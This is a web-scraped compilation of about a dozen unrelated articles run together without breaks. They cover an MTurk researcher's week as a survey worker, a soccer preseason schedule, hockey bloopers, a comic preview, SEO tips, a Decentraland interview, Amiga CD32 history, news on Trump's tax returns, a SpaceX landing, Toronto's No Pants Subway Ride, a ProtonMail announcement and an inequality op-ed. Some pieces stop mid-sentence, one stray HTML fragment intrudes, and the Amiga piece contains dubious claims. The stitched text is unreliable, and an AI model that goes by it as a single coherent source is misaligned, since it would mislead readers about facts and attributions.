As a researcher I love using MTurk and have conducted more than 50 studies on it so far. Over the past week, however, I changed roles. Instead of posting a study as I usually do, I worked part-time as an MTurk worker. I spent approximately twenty five hours and took approximately 300 surveys on the site, answering everything from questions about witness testimony to watching advertisement videos and evaluating them, and solving creative problems.
I undertook this exercise for two selfish reasons. First, I wanted to experience life on the “other side of the fence” so to speak, to feel what an MTurk worker’s experience is like so I could be more empathetic in conducting my future studies on MTurk. Second, I wanted to understand how other researchers are using the site, to adopt some of their best practices in designing surveys, recruiting respondents, managing respondents, and so on in my own research.
My experience as an MTurk worker was intense, full of surprises, not all of which were pleasant. Here’s what I learnt from my experience as an MTurk worker:
1. MTurk workers do not earn much money and the site made it impossible to figure out how much I earned per hour of work I performed.
As an MTurk worker, I worked hard but I earned little money. If my experience is any indication, the wages of a typical, diligent MTurk worker are nowhere close to the minimum stipulated wages in the United States. Over my one week as an MTurk worker, I estimate that I earned somewhere between $3 and $3.25 per hour of work (and that includes a couple of unexpected bonuses).
Even more bothersome was the fact the site did not provide me with my “per-hour” earnings information anywhere so there was no way for me to know precisely how much I made per hour. As a researcher (or “requester” in MTurk parlance), the site provides me with an “Effective Hourly Rate” value that I pay my workers. So why can’t a worker have this information? It would be nice to know precisely how many hours I worked and how much money I made in my MTurk dashboard.
As an ethical researcher, this part of my experience struck me the hardest. Now I cannot help but feel guilty and even embarrassed about how much (or actually, how little) money I have been paying participants of my studies. While it is true that I want to collect data as cheaply and efficiently as possible (I have a limited research budget, after all), I do not want to exploit people who work for me. MTurk is raising the commission they charge researchers on July 22, and I wonder if any of these spoils will be shared with its workers.
2. Not all researchers posting surveys on MTurk are ethical. On MTurk, unethical actions play out in a number of different ways, some small, and others exploitative.
I was surprised by the degree and variety of what I, as an MTurk worker, perceived to be unethical researcher behavior. In answering surveys, I was made to work much longer than promised, refused payment for work I had already done without sufficient explanation or recourse, and I was not provided with an appropriate method to protest or to receive redress. Here are some things I experienced:
Many questionnaires took WAY longer to complete than the researcher had promised. For example, one survey informed me that it would take no more than five minutes and offered me $.25, but then the researcher forced me to watch a video that went on for 11 minutes (and was still going on, at which point I abandoned the study).
In one instance, my work was rejected because I did not answer one question the researcher had inserted somewhere within a 100+ question survey to measure my attention correctly. I was not informed that such a thing could happen in the beginning of the survey. There was nothing I could do about this. Answering one wrong question negated the dozens of right answers I had provided. How could I not help feeling exploited?
In another instance, I was supposed to receive a completion code at the end of the study, but there was no completion code, the survey just ended abruptly. Needless to say, I did not earn even the twenty-five cents I had been promised.
In a number of questionnaires I completed over the week, there was no initial informed consent form, and in other cases, even when such a form was provided, no specific researcher was clearly identified. I had no one to ask questions or complain to. This is particularly problematic when questions are about complex issues like moral decisions (“Would you kill one person you know to save a dozen strangers?”)
Unethical behaviors have many causes, and often arise simply from the ignorance or incompetence of individuals rather than willful subversion. Regardless of motivations, I feel that the site itself makes it easy for researchers to transgress ethical norms. As one example, many researchers posting their surveys use pseudonyms instead of real names, a recipe for encouraging questionable behaviors. As another example, there is no way for a worker to revisit his or her work and see if they actually made the mistake the researcher is accusing them of. Why not force researchers to use their real names and affiliations when posting work on the site?
3. Many studies are poorly designed and slow workers down.
There was a surprising amount of variance in the quality of the questionnaires I answered. While a majority of questionnaires were exemplary, I came across surveys from academic researchers belonging to reputable institutions that were so riddled with grammatical errors and spelling mistakes that it was impossible to understand what I was being asked about. At other times, the flow of questions made little sense and stumped me completely. Dealing with such problems took more time and reduced my earnings rate even further. I feel that quality control is sorely needed among researchers if this site is to remain a viable platform that attracts diligent and thoughtful respondents. For my part, I have been conscientious about quality control in designing my own surveys and intend to be even more watchful in the future.
4. Answering surveys consecutively produces biased responses.
In a single afternoon, when I completed about fifteen surveys one after the other over a period of several hours, I came across the following paragraph in four different studies:
“We go to the city often. Our anticipation fills us as we see the skyscrapers come into view. We allow ourselves to explore every corner, never letting an attraction escape us. Our voice fills the air and street. We see all the sights, we window shop, and everywhere we go we see our reflection looking back at us in the glass of a hundred windows. At nightfall we linger, our time in the city almost over. When finally we must leave, we do so knowing that we will soon return. The city belongs to us.”
Each time, I was instructed by the researcher to count the number of pronouns (“Our”, “we”, “ourselves”) in the paragraph. This paragraph is part of a “pronoun circling task” that is commonly used to prime a concept that psychologists call relational collectivism (a different version of this paragraph uses “I”, “me”, etc. instead to prime an individualism concept, but strangely, I was assigned to the collectivism paragraph in all four studies!). By the time I came across this paragraph the third time that afternoon, I already knew the answer to the question of “how many pronouns?” So I could easily skip reading it. Needless to say, the priming task did not work on me by then.
Over my one week completing MTurk surveys, I filled out scales measuring psychological traits like impulsive buying, moral identity, collectivism, and subjective well-being over and over again. In some cases, the scales were measuring my personality after an experimental manipulation but in other cases, the same scale WAS the manipulation.
This led me to wonder: Do psychological researchers account for the possibility that their MTurk participants may have just completed a similar study, or even been primed with a contrasting concept recently when they analyze their MTurk data or draw inferences from it? Are their conclusions still valid? These and a host of related questions need to be answered carefully by researchers to determine the scope and limits of collecting data on MTurk from respondents who complete hundreds of surveys a week.
5. The site is heavily loaded in favor of requesters and against workers.
If I had to summarize my one-week experience as an MTurk worker in one phrase, it would be a “sustained sense of powerlessness.” After I had completed a study, there was no way for me to go back and identify who the researcher was that I had worked for. If a researcher rejected my work and did not pay me, the only thing I could do is send them an email through MTurk. I had no formal way of rating or sharing what I perceived to be the injustice of a particular researcher. There was no way for me to complain to the MTurk customer service folks (if such folks even exist) about the potential problems with a survey or researcher.
All of these issues have to do with the way the site is designed and structured. It seems to me that if these issues are not dealt with properly and quickly, the site is eventually going to resemble a child labor operation in its ethos more than a crowdsourced market for labor. There needs to be more balance in power between the employers and workers than currently exists on the site. While these issues are beyond my control, as a researcher, my main takeaway is that I need to be a lot more empathetic to the workers that I employ on the site.
So what lessons did I learn as a researcher from my experience?
My biggest lesson from my experience as an MTurk worker is that I need to pay more for my studies than I have been doing. There is no question in my mind that paying $.40 or $.50 for a survey is too little. I personally believe in fair wages for fair work, so I will significantly increase how much I offer the people who participate in my study.
I will also be more careful about what sort of studies I conduct on MTurk. Until my experience as a worker, the issue of potential biasing effects of completing a dozen studies one after the other on the quality of responses was not even on my radar screen. For me personally, MTurk data will be appropriate for initial pretests and exploratory research; but it is clear that I need less “professional” respondents who have not been primed with the same concept multiple times in one session to conduct rigorous and valid tests of my research hypotheses!
All in all, my experience as an MTurk worker was a revelation that has made me look at using MTurk as a researcher in an entirely new light.The inaugural preseason schedule for Bethlehem Steel FC has been finalized, the club announced today. The team is scheduled to play five preseason matches, with two at the Philadelphia Union Training Center in Chester, Pa. The first will take place March 6 at 12 p.m. against Syracuse University. They’ll also host Georgetown University on March 20 at 11:30 a.m. prior to the Union’s home opener. Steel FC will also play one preseason match at Goodman Stadium.
Training sessions and media availability are still to be decided. The expansion club will start their inaugural USL Regular Season on March 25 at FC Montreal.
Coinciding with the Union’s MLS Regular Season Opener on March 6 against FC Dallas at 3 p.m., fans will have an opportunity to see Steel FC’s first-ever competitive match against Syracuse, as well as having an opportunity to purchase Bethlehem Steel FC merchandise and the Union’s new primary jersey at the club’s official store inside Talen Energy Stadium.
Steel FC will then travel to face New York Red Bulls II, of USL, on Friday, March 11. On Tuesday, March 15, Steel FC will host Harrisburg City Islanders at 12 p.m. at Goodman Stadium, the home of Bethlehem Steel FC, and will be closed to the public. Four days later, they’ll travel to Penn State University for a fourth preseason game.
The final tune-up will come on Sunday, March 20, again at the Union Training Center, prior to the Union’s home opener against New England Revolution. Bethlehem Steel Season Ticket Members interested in seeing both games on March 20 will receive a promo code for the Union match, offering discounted tickets. All Steel FC matches at the Union Training Center are open to the public and free of charge. Pending on arrival time, patrons may have to pay for parking.
Bethlehem Steel FC 2016 Preseason Schedule
March 6: Match vs. Syracuse at Union Training Center
March 11: Match at New York Red Bulls II
March 15: Match vs. Harrisburg City Islanders at Goodman Stadium (closed to the public)
March 19: Match at Penn State
March 20: Match vs. Georgetown at Union Training CenterThe flubs are often the plays we remember the most.
Jonathan Bernier of the Toronto Maple Leafs found himself on the wrong end of the blooper reel on Thursday, allowing a shorthanded, game-winning goal that was scored from the far blue line off the stick of Arizona Coyotes defenseman Oliver Ekman-Larsson.
Here's a look at five other memorable goals score from center ice and beyond.
Toskala scored on from opposition's goal line
As the puck passed by Bernier and into the back of the net in Toronto on Thursday, Maple Leafs fans undoubtedly had flashbacks to this shorthanded goal scored on Vesa Toskala, which ranks among the biggest goaltender gaffes in league history.
Pavelec fooled from distance
Atlanta hockey fans didn't have much to cheer about during the Thrashers era, and Ondrej Pavelec certainly wasn't helping matters by being completely fooled by this wrist shot from Washington Capitals defenseman Jeff Schultz.
Derek Morris on Jonathan Quick
It's one thing to allow a bad goal during a regular season game in January, but totally another to get caught napping in the conference finals |
Di Matteo until the continued malaise forced them to set their own quickfire precedent...
Listen to our latest podcastCaptain America might have gained a new ally in Helmut Zemo, but unbeknownst to him, he's also gained a new adversary.
That would be The Taskmaster, who happened upon the knowledge of Steve Rogers Hydra affiliation. In Captain America: Steve Rogers #12, he'll look to utilize that knowledge to his utmost benefit, and it will include a certain former director of SHIELD.
In ComicBook.com's exclusive preview of the issue, Maria Hill is looking for a way back in, and while dealing with people like Taskmaster and The Black Ant might not be the most ethical way to do it, it might provide her with her best chance to reclaim her once lofty position. Elsewhere in the issue, Erik Selvig isn't exactly keen on working with Helmut Zemo. Who knew that being dragged up a mountain against your will would sour a friendship? Oh, wait, everyone knows that, so he's just a jerk.Getting your website to rank higher is not always about getting yourself into Google or getting more links. Sometimes, it’s merely a matter of tweaking your own website so that it looks like something that people want to visit.
Alternatively, it may be a matter of adding in extra features which attract additional visitors. Either way, here are 10 tweaks you can try right now which should improve your site and make it rank higher:
Dump the Flash
I’ve said this numerous times but some people just refuse to listen to reason. Flash is not meant to be used for building whole websites. At most, it should be used for building a small element of a website. There are two issues here, both of which you need to worry about because they will affect the number of visitors your site gets.
First and foremost, there is the problem with Google – if your entire site is based on Flash, Google can’t read it. If Google can’t read the thing then you won’t get indexed. Want to get a higher ranking? Dump the flash. Here is an example of a site I found which basically shows up entirely in flash at first. Google’s spiders will have a tough time figuring out what it is:
Oh and by the way, note to the owners of the restaurant – the music playing in the background is NOT cute. It’s god-awful annoying and is probably driving customers away from your site. The rest of the site design isn’t horrible but the music and the fact that it’s flash based are big no nos.
Second and equally importantly, people often use flash in truly awful ways. Now in truth, I don’t think this site is actually flash based:
I think it may actually be based on animated GIFs. The reason I believe this is because the site loads automatically for me. However, I have a flash blocker on my browser so I don’t have to look at annoying ads that some people display.
Either way though, this website with its strobe lighting and the scrolling images is giving me a huge headache. Folks will be turned off by it and will not bother to tell their friends to visit (unless they want to give their friends a headache – fair warning, some people may experience nausea from the scrolling images). So even though it seems to use animated GIFs, the same basic concept applies – more is not better.
Add Translation
Another great way to bring in a trove of untapped visitors is with automatic translation. Whatever it is you sell, even if it’s just something in English, there are billions of people out there whose native language is not English and who will find and visit your site if you translate into their language. The cool thing is – even if your products are in English, you can often improve your sales figures just by offering automatic translation.
I found a cool WordPress plugin which will actually offer your visitors an automatic translation into their language. No, it won’t translate perfectly but it’s generally good enough to improve your sales and your traffic numbers. I have seen this happen with other sites and unless you run a site which is completely local (i.e. a dentist probably doesn’t need this) it pays to offer your customers this option. The plugin displays a series of flags and lets people choose based on their flag which country’s language to show the content in:
A total of 56 languages are offered. Some are pretty popular such as Arabic and Mandarin. Others I thought were a bit off the wall as a choice. I mean how many web surfers are there who ONLY speak Yiddish (spoken primarily by ultra-orthodox Jews who, if they don’t speak any other language probably also shun the Internet completely and no, I don’t have a clue what the screenshot of it below says but I assume it’s reasonably accurate). Still, it’s impressive what these guys offer:
Add Mobile
People increasingly consume the web from smartphones and tablets. Now while it’s true that something like a full sized iPad could pretty easily display everything the web has to offer in its regular format. However, even in those cases, the screen is a little small to read many full size websites. The better choice is to offer a mobile option.
Now, if you have a custom coded site or you have a site based on something other than WordPress, you’ll need to speak with your site developer to find out how to add mobile to your site. However, if you do happen to be using WordPress, there is good news. You can either use one of the thousands of themes which are mobile aware or you can just go ahead and use a plugin.
One good choice for this is WPTouch. It’s a simple to use plugin which offers you basic mobile functionality. There are additional features in the paid pro version but the basic version does do the job reasonably well:
Add Pay with a Like
There are free and paid versions of this kind of WordPress plugin. If you run a non WP site, consider having something similar coded into your site. In essence, pay with a like works by locking up your content and then making it available only when people like, tweet or otherwise share your content. There are a few issues with this though.
First, your content has to be compelling enough to grab people’s attention and make them want to “pay with a like.” Generally, this means offering part of the content for free and then offering the remainder behind a “pay” wall. The second issue is that some people don’t have such accounts or are not interested in sharing your content with the world. You may lose some visitors that way but overall, you’ll probably gain more than you lose if you use this sparingly.
Here’s a free WordPress plugin which does this and seems to pretty good. One thing to keep in mind though again is that this should be only content which is truly premium. Just not every page on your site:
Make Your Images the Right Size
This is simple – people don’t like to wait for sites to load. When you upload an image from your camera to your site directly, it will be supersized and will cause your site to load slowly. Slow loading sites mean fewer visitors. Plus, the Google spider won’t stick around to watch a slow loading site load up either. You can solve the problem by using a simple program to drop the size of your images to something reasonable.
Most image software can do this. I personally use the Snagit Editor. I own a copy of Photoshop too but don’t see a reason to load up something that complicated just to reduce the size of an image. If you have nothing available, you can either download GIMP or just go here and use the free service:
It’s pretty simple to use the service. Click ‘Browse’ to find the image you want to resize you’re your computer. Then, choose the maximum number of pixels (this is width – I like 600 if it’s to be a full width image or 350 for images you need to wrap text around).
You can also use some special effects but I’d leave that alone. If you really want such things added, use GIMP. Finally, choose image quality. Remember that the better the image quality, the bigger the file size and the longer it takes to load your web page.
Double Check Your Image Meta Info
This really applies for all of your content though images are the ones people most often forget about. Add a title and a brief description along with alternative words to your image. This will help you to ensure that Google can find the images and index them for you. This will in turn increase the number of hits your site gets. If you use WordPress, it’s easy to do this because the option to add meta data is built in.
Grab E-mails
If you still don’t have an e-mail list then you truly are missing out on one of the best ways to build traffic to your mailing list. I’ve discussed this time and again – the money really is in the list. Get yourself a mailing list and start sending out e-mails to folks who drop by your site. It is money that you are leaving on the table when you don’t bother to build yourself an e-mail list.
And there are no excuses here either. Need a squeeze page done? Hire someone to do it if you need to but get it done. Need something to give away? Either hire someone to write something for you or go ahead and use something PLR. I wrote extensively on good choices of e-mail list services here.
Check for Broken Internal Links
This is another no brainer. Want more people to stay on your site longer? Make sure that your links are not broken in order to keep them coming back for more. This one is just about as basic at it gets. You do not want to make people see a 404 page when they click a link on your site. However, this is especially true when they click a link on your site which is intended to allow them to stay on the site.
I looked for something which only checks for broken internal links but couldn’t find anything. This seems like a nice tool for checking all broken links though and it’s free:
You can pretty much leave all the extra features blank here and just let it run. It should find you a nice list of broken links:
Make Your Site Look Clean
I will never understand people who think they should make their sites look cluttered where people don’t know where to look when they arrive at the site. Let people coming see a nice clean and structured site and they will keep coming back and tell their friends. And for the love of all that’s holy, don’t let your site end up looking like this:
Not only is this site slow to load because of the pictures problem I mentioned above but it’s also so cluttered that my eyes don’t know where to look. It actually hurts my eyes to stare at this monstrosity and so I wonder why the owners keep the thing up looking like this. However, even when it’s not so extreme, your site should have simple lines where people can easily see what to look at without making them jump through hoops.
Add Caching
Finally, if your website host offers it or if you want to spend the money to do it, add something like cloudflare caching. This is a service which stores local copies of your website on computers all over the world. It will allow your site to load faster which in turns means that folks visiting your site are that much more likely to stick around, thus improving your traffic numbers.
Of course all these things will only take you so far. Once you have tweaked your site, be sure to come back here and look into buying some SEO services so that we can push your rankings to the next level.Decentraland is a virtual world. Think Minecraft or Second Life, but decentralized, user-owned, and built for the virtual reality era. The 3-D objects are passed peer-to-peer using the Interplanetary File System, making the world resilient against network attacks and centralized control. Ownership of the virtual land is tokenized on the Ethereum blockchain, so that owning tokens gives you edit-access to build whatever you like in your little patch of cyberspace.
As a disclosure, I own 23,902 MANA tokens from the project, but have no professional involvement with the company or the project.
I spoke with Ari Meilich, the Project Lead of Decentraland.
Conor O’Higgins: Tell us how you got interested in decentralization, and how the idea for Decentraland came about.
Ari Meilich: I guess at a personal level my first experience in decentralization was, before blockchain, joining a political party in Buenos Aires that was akin to the Pirate Party. It proposed liquid democracy, a type of decentralized voting where the constituents could vote on all issues or delegate their votes to a delegate. This was in stark opposition to top-down representative democracy.
At that time, in 2012 or 2013, I started using Bitcoin to pay international contractors, chiefly in Argentina, where there were strict capital controls, and a government edict fixed the price of the dollar at an arbitrary, below-market price. So Bitcoin was a great way to circumvent what I thought was a pretty ludicrous rule.
Then in 2015 I joined Voltaire, a ‘hacker house’ in Buenos Aires, where most people were blockchain engineers. Thus began a long journey of getting immersed in this new technology, and it had quite an effect. These days I barely read about anything else!
Conor: I hang out on your community chats a bit, and I do own some MANA. One thing that impresses me is the liveliness of the debate – community members are debating minutiae like whether the land should be divided into squares of hexagons. What do you think sparked that sort of interest in Decentraland?
Ari: People come to Decentraland from many different angles, but I think a lot of them are very excited with the idea of immutable ownership that Decentraland enables. Because the world is owned by the users, it’s only natural that they put a lot of effort on discussing how the world should be. We rushed to create the terraform registration dApp to let people organize themselves in districts; we’re very excited about having the different communities deciding on their own governance, economic model, if any, aesthetics, etc. The fact that Decentraland is a blank slate that is shaped by the users is what makes it unique.
Conor: Are most users planning on building businesses in Decentraland, or just building for fun?
Ari: It’s a mix. A lot of the users want to build for fun, just as they’d do in Minecraft. Others are planning to make money with their creations.
Conor: Are you building anything yourself, Ari?
Ari: Oh, absolutely. Currently I’m working with some artists and 3-D modelers on the design of the ‘first ring’, where users will spawn. Once I finish this hiring sprint, which keeps me pretty busy, I will create the Voltaire district, for my group of friends to hang out and have our monthly ‘townhall meetings’.
Conor: In early September, when you made first made MANA available, people were saying it was sniped by just five whales in fifteen seconds. What happened there?
Ari: I guess we failed at communicating more profusely that the token was being sold through token sale platforms. We only said this in our Slack’s ‘announcements’ channel, in the hopes of catering to our community.
So the community in Asia, and those who went through Bitcoin Suisse were able to buy their tokens. However, we didn’t anticipate such a high demand and the $7 million USD worth or so that were left in the public sale went in a snap.
By the time the token sale began, we had already loaded these platforms’ transactions, and people construed that as individual contributors buying millions in MANA. That was not the case, however: these were the platforms’ contributions, which comprised over 2,000 contributors.
Afterwards, as the China ban made the news, we had to refund 24,500 ETH to these platforms, and made these tokens available through a whitelist that had about 5,000 participants.
Conor: Yes, I was one of those 5,000. Why limit the land available, and bundle it up for sale? Why not make Decentraland infinitely extensible by the users?
Ari: Since users will explore the world and stumble upon users creations and applications, if the land were infinite, this experience of walking around contemplating and interacting with content would be really bad. Only with scarcity can we ensure that the world will be filled with valuable content. Without scarcity, the land would have no value. Imagine if sending transactions on the blockchain were free. There would be constant spamming attacks to the network. The same applies to Decentraland: if there’s no cost to uploading content, I could easily fill the world with garbage. Users’ attention is a limited resource, so by creating a market for the land, we ensure that only those who have skin in the game can get the users’ attention, and that the users have a good experience.
Conor: Someone could fork your code for a p2p virtual world, but remove the part about tokens, making the land infinite.
Ari: That would be akin to forking Bitcoin and making supply infinite. It wouldn’t have the same, or any, value.
Furthermore, imagine if the Facebook code were 100% open source (not that we’re anything similar, but for illustration purposes). You could fork it, but you’d need quite a bit of dexterity to create a similar network.
Conor: What developments do you hope to see in Decentraland over the next few years?
Ari: I’m hoping to see mature software for decentralized governance, payment channels to let content creators monetize their creations with little friction, a native wallet with multi-currency support, and support for rare digital assets. Also, support for rich applications and networked experiences.
On the hardware side, we are really looking forward to the Santa Cruz and other all-in-one VR headsets with inside-out tracking. I have the HTC Vive and the Oculus, but I’m a firm believer that portability will increase VR adoption by an order of magnitude. The current mobile headsets lack this kind of tracking, which make the experience pretty limited.
Conor: You’re from Argentina, right?
Ari: Correct.
Conor: It’s interesting because I can’t think of another blockchain project from Latin America.
Ari: Off the top of my head, I can think of rsk.co, zeppelin.solutions, ripio.com and democracy.earth. The first two are pretty high profile.
Conor: Would you say there’s an active blockchain industry there?
Ari: Not exactly an industry, but there several very good blockchain projects. Another I forgot to mention is Xapo, one of the earliest projects in the industry.
Conor: Are the rest of the Decentraland team from around there?
Ari: Esteban Ordano and Nico Santángelo are from here, but Nico is living in Amsterdam. Ben Nolan is from New Zealand. And we have community managers in Shanghai and Canada. There’s a lot of great engineering talent in Argentina, and I’m hoping to expand the team here as much as I can, but Decentraland is a distributed company.
Conor: For my final question: Would you rather fight one horse-sized duck, or one hundred duck-sized horses?
Ari: One horse-sized duck for sure. I would rather focus on one large battle.
Featured image from ShutterstockThe Commodore Amiga CD32 was Commodore’s Fifth generation era home video console, and was launched early September 1993. Commodore reported to have sold over 100,000 units in Europe in just three months prior to Christmas. By outselling Sega four to one and claiming 38% market share of all CD ROM drives sold in the UK (according to the Gallup Weekly Report), the Amiga CD32 has established itself as the undisputed leader of the 32 bit machines. Electronic Gaming Monthly agrees by rating the CD32 higher than Sega CD, 3DO or Jaguar. At a suggested retail price of just $399, the Amiga CD32 features an unbeatable combination of power and affordability. It was based on Commodore’s Advanced Graphics Architecture chipset, and is of similar specification to the Amiga 1200 computer. On its release, the CD32 was marketed by Commodore as “the world’s first 32-bit CD games console”. The Amiga CD32 featured a 32 bit Motorola 68EC020 Microprocessor with 2MB of memory, 16.7 million colors, and a double speed CD ROM drive built in. The CD32 could play audio CDs, and most CDTV discs. With the addition of an optional MPEG-1 full motion video module, the CD32 can play MPEG VideoCDs, MovieCDs and Karaoke CDs with up to 74 minutes of better-than-VHS quality video and CD quality audio on a single disc. The Amiga CD32 launch bundle includes two games, Diggers, a new game from Millennium Interactive, and Oscar from Flair Software. A later pack includes the one-on-one fighting game Dangerous Streets. The AmigaCD32 was launched with over 50 games and over 100 extra games would have been released by the end of 1993, sadly groundbreaking games such Lost Eden and Megarace never got released. However, a deadline was reached for Commodore to pay 10 million USD in patent royalty to Cad Track (U.S. Patent 4,197,590) for their use of their XOR patent. A federal judge ordered an injunction against Commodore preventing them from importing anything into the United States. Commodore had built up CD32 inventory in their Philippine manufacturing facility for the United States launch, but, being unable to sell the consoles, they remained in the Philippines until the debts owed to the owners of the facility were settled. Commodore declared bankruptcy shortly afterwards, and the CD32 was never officially sold in the United States. If the CAD patent would have never occurred the the AmigaCD32 would have probably sold near 1,000,000, units for sure. None the less, Commodore’s AmigaCD32 would have faced strong competition with the upcoming Sony Playstation and Sega’s Dreamcast, pushing it out of the mainstream market anyway. The Commodore Amiga CD32 is still being supported by the Amiga community and has new releases on a very regular basis.
<video width=”100%”Sen. Charles Schumer Charles (Chuck) Ellis SchumerBrennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview Harry Reid: 'I don't see anything' Trump is doing right MORE (D-N.Y.) is warning that it will be difficult to pass tax reform until President Trump releases his tax returns.
"Until President Trump releases his full tax returns, a cloud of suspicion will remain and make it much more difficult to get tax reform legislation through the Congress," Schumer, the Senate's top Democrat, said in a statement Friday.
Tens of thousands of people are expected to attend rallies over the weekend, ahead of the April 18 tax-filing deadline, to demand that the president release his returns.
Schumer added on Friday that if Trump "is serious about passing real tax reform to help the middle class, he should start by releasing his own full tax returns to erase any doubt of where his priorities lie."
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During the campaign, Trump refused to make his tax information public, breaking with decades of tradition. He said it was due to an audit, but the IRS said that did not legally prevent him from releasing the documents. Once he took office, the White House said he had no plans to release them.
Democrats have offered legislation that would require Trump, future presidents and major party nominees to publicly display their tax returns, but that legislation has failed to gain traction in a GOP-controlled Congress.
Schumer issued a similar warning to Trump during a conference call with reporters Tuesday, arguing Americans will be suspicious of his tax proposals until he releases the returns.
"Anytime the president proposes something on tax reform, “the average American is going to say, ‘Oh, he’s not doing that because it’s good for me, he’s doing it because it’s good for him,' " Schumer told reporters.
Republicans have signaled they will use a special legislative procedure to pass tax reform, allowing the legislation to clear Congress with a simple majority and avoid a Democratic filibuster in the Senate.
Rep. Hakeem Jeffries (D-N.Y.) tried to force a vote on his resolution directing the House to delay its consideration of tax reform legislation until lawmakers review Trump's tax returns, but his move was blocked by Republicans.
House Republicans and the Trump administration have said they want to pass tax reform by their August recess, but Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.) has cast doubt on that timeline.Close
SpaceX’s Falcon 9 rocket successfully conducted its first soft landing in July, and its video captured through a plane nearby was officially released on YouTube for the public.
The video shows Falcon descending into the ocean, following the delivery of six ORBCOMM OG2 commercial satellites to space 15 minutes right after its launch.
“ORBCOMM’s OG2 satellites will provide existing customers with significant enhancements, such as faster message delivery, larger message sizes and better coverage at higher latitudes, while dramatically increasing network capacity,” the company said in an earlier statement.
Subsequently, Falcon used the first rocket stage to enter again the atmosphere of the Earth and eventually land on the Atlantic Ocean.
“This test confirms that the Falcon 9 booster is able consistently to reenter from space at hypersonic velocity, restart main engines twice, deploy landing legs and touch down at near zero velocity,” said SpaceX.
The company, however, explained that the unusual landing style of the rocket is attributed to the fact that Falcon was not designed to land on water.
SpaceX has made three successful attempts to transport back home a rocket. First was in September 2013, second was in April this year and third was this July. Each of these launches provided scientists helpful information on the procedures of safely bringing a rocket back home.
Research said the successful flight back home of Falcon rocket likewise signified the company’s success in developing a reusable rocket. The most expensive portion of a space launch is the rocket, so when the idea of a reusable one is completely pursued, it can minimize the cost to a maximum factor of 100. The rocket doesn’t also need to be refurbished, the company said.
SpaceX thinks such new technology—developing reusable rockets—could indicate the start of space exploration’s new era. However, there’s a drawback seen: the big amount of required propellant to slow down the rocket from extremely high speed. With the present technology, long-term missions aren’t capable of holding much fuel yet. It is for this reason that the company is working on a far advanced rocket called Falcon Heavy, according to The Space Reporter.
Regardless, such initiatives are said to be part of SpaceX CEO Elon Musk’s bigger vision of an active spaceport launching rockets regularly. The company went into recent talks with Texas State for the building of a spaceport. He also reiterated that it’s his mission to bring humans to outer space as well as to colonize Mars in the future.
ⓒ 2018 TECHTIMES.com All rights reserved. Do not reproduce without permission.At the booming command of a voice through a bullhorn, about 100 pairs of jeans, sweatpants and skirts were dropped to the floor. The No Pants Subway Ride, a surprisingly organized and well-attended annual goof, kicked off Sunday afternoon despite the frigid temperatures.
TTC riders drop their drawers on the No Pants Subway Ride 2017 on Sunday. ( PETER GOFFIN / TORONTO STAR )
Dozens of GTA residents, of all ages, body types and degrees of immodesty hopped on the TTC’s Line 1 at Finch Station, bound for the city’s west end. “It’s a bucket list (goal),” said Janice Sinclaire, going pantsless to celebrate her birthday. “If you want to have a memorable birthday and do something unique, well, this is pretty well at the top of the chain.” As half the train crammed with the no-pants people, briefs mingled with boxers and impromptu dance parties broke out up and down the train. Selfies were snapped. At least one gymnastics routine was attempted (with mixed results) on one of the poles.
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Michael Ishlove (centre, in grey socks) and Georgia Peters (in purple socks) prepare for their second no-pants subway ride. ( Peter Goffin/Toronto Star )
For Michael Ishlove and Georgia Peters, who first rode bottomless on the Rocket two years ago, the biggest draw is the reaction from the full-clothed public. “It’s fun,” said Peters. “What we found very interesting the first time we did it was watching the people getting on the subway and going ‘What the...?’ ” Torontonians weren’t the only ones undressing down to their drawers Sunday. Subway riders in 31 other cities around the world took part in the No Pants Subway Ride, founded in New York in 2002 by public space comedy group Improv Everywhere. Toronto’s pantsless horde rode the Yonge Subway around the loop, past Union and up to Line 2, where they switched trains and headed for Dufferin Station. Then, a chilly march to Penny’s bar — near Bloor St W. and Lansdowne Ave. for a No Pants party.
“It’s something different,” said Ishlove. “Something outside the normal everyday.” MORE ON THESTAR.COM Photos: No Pants Subway Rides from across the globeProtonMail is announcing today the launch of the world’s first encrypted contacts manager that also features digital signature verification.
November 21, 2017
Geneva, Switzerland
Starting today, the new contacts manager is available to all of ProtonMail’s 5 million users around the world.
The development and launch of this feature was driven by the feedback that the company received from many of its users in the investigative journalism space. “Last year, we had the unique opportunity to meet with many of our users in the field at the Second Asian Investigative Journalism Conference in Kathmandu, Nepal, and one message that we heard over and over again was the need for better ways to protect sources,” says ProtonMail co-founder Dr. Andy Yen, “the new encrypted contacts manager today is the result of over one year of research and development into how we can best meet the needs of the thousands of activists, journalists, and dissidents who rely on ProtonMail to protect their privacy.”
In addition to protecting sensitive contact details with zero-access encryption (meaning that ProtonMail itself cannot decrypt the data, and cannot reveal the private contact details to third parties), ProtonMail’s new contact manager also utilizes digital signatures to verify the integrity of contacts data. This provides a cryptographic guarantee that nobody (not even ProtonMail), has tampered with the contacts data.
“Combining encryption with digital signatures provides powerful protection that guarantees not only the privacy, but also the authenticity of the contacts saved in ProtonMail, and reduces the need to trust ProtonMail, as even we cannot access or change this information without your knowledge,” says Dr. Yen. In line with standard company practice, the software behind ProtonMail’s encrypted contacts manager is fully open source.
For more details about ProtonMail’s encrypted contacts manager, please refer to our launch blog post here: https://protonmail.com/blog/encrypted-contacts-manager/
ProtonMail’s media kit can be found here: https://protonmail.com/media-kit
About ProtonMail
ProtonMail is headquartered in Geneva, Switzerland, near CERN (the European Organization for Nuclear Research) where the founding team met in 2013. Every day, the ProtonMail team, brought together by a shared vision of protecting civil liberties, works to advance Internet security and privacy. Since its inception, ProtonMail’s infrastructure has been located exclusively in Switzerland, under the protection of some of the world’s strongest privacy laws.
For more information, please visit: https://protonmail.com
Media inquiries: media@protonmail.chA new leader with little credibility asks famous economists to ‘advise’ him on economic policy. It’s an old trick. News that Jeremy Corbyn is seeking the counsel of Thomas Piketty and Joe Stiglitz is not surprising – both are in the business of selling books suggesting the world is becoming more unequal than ever, and that a crisis is looming. The problem is that this ain’t so – not in Britain, at any rate.
Piketty’s central thesis was brilliantly dismantled by Chris Giles, the FT’s economics editor, who won an award for his expose. But at least Piketty published data that could be scrutinised: Stiglitz seems to make his up on the spot. Here he is on Radio 4’s Start The Week, falsely claiming that
“Inequality has gotten much worse in the United Kingdom”.
